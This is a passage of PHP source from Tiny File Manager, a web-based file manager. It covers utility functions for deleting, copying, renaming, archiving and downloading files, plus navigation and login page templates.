href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li> </ul> </div> <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div> <?php else: ?> <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div> <?php endif; ?> </div> </form> <?php fm_show_footer(); // --- END HTML --- // Functions /** * It prints the css/js files into html * @param key The key of the external file to print. */ function print_external($key) { global $external; if(!array_key_exists($key, $external)) { // throw new Exception('Key missing in external: ' . key); echo "<!-- EXTERNAL: MISSING KEY $key -->"; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after certified * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': case 'ps1': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl', 'ps1' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager<br>Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '<br>'; $msg .= '<br>Seems like you have a trailing slash on the URL.'; $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>'; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10); if (is_writable($fm_file)) { $lines = file($fm_file); if ($fh = @fopen($fm_file, "w")) { @fputs($fh, $config_string, strlen($config_string)); for ($x = 3; $x < count($lines); $x++) { @fputs($fh, $lines[$x], strlen($lines[$x])); } @fclose($fh); } } } } //--- Templates Functions --- /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { global $lang, $sticky_navbar, $editFile; $isStickyNavBar = $sticky_navbar ? 'fixed-top' : ''; $getTheme = fm_get_theme(); $getTheme .= " navbar-light"; if(FM_THEME == "dark") { $getTheme .= " navbar-dark"; } else { $getTheme .= " bg-white"; } ?> <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>"> <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <?php $path = fm_clean_path($path); $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>"; $sep = '<i class="bread-crumb"> / </i>'; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>"; } $root_url .= $sep . implode($sep, $array); } echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>'; ?> <div class="col-xs-6 col-sm-7"> <ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>"> <li class="nav-item mr-2"> <div class="input-group input-group-sm mr-1" style="margin-top:4px;"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon"> <div class="input-group-append"> <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span> </div> <div class="input-group-append btn-group"> <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span> <div class="dropdown-menu dropdown-menu-right"> <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a> </div> </div> </div> </li> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a> </li> <li class="nav-item"> <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a> </li> <?php endif; ?> <?php if (FM_USE_AUTH): ?> <li class="nav-item avatar dropdown"> <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a> <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> <?php endif ?> <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a> <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a> </div> </li> <?php else: ?> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> </li> <?php endif; ?> <?php endif; ?> </ul> </div> </div> </nav> <?php } /** * Show alert message from session */ function fm_show_message() { if (isset($_SESSION[FM_SESSION_ID]['message'])) { $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok'; echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?> <title><?php echo fm_enc(APP_TITLE) ?></title> <?php print_external('pre-jsdelivr'); ?> <?php print_external('css-bootstrap'); ?> <style> body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 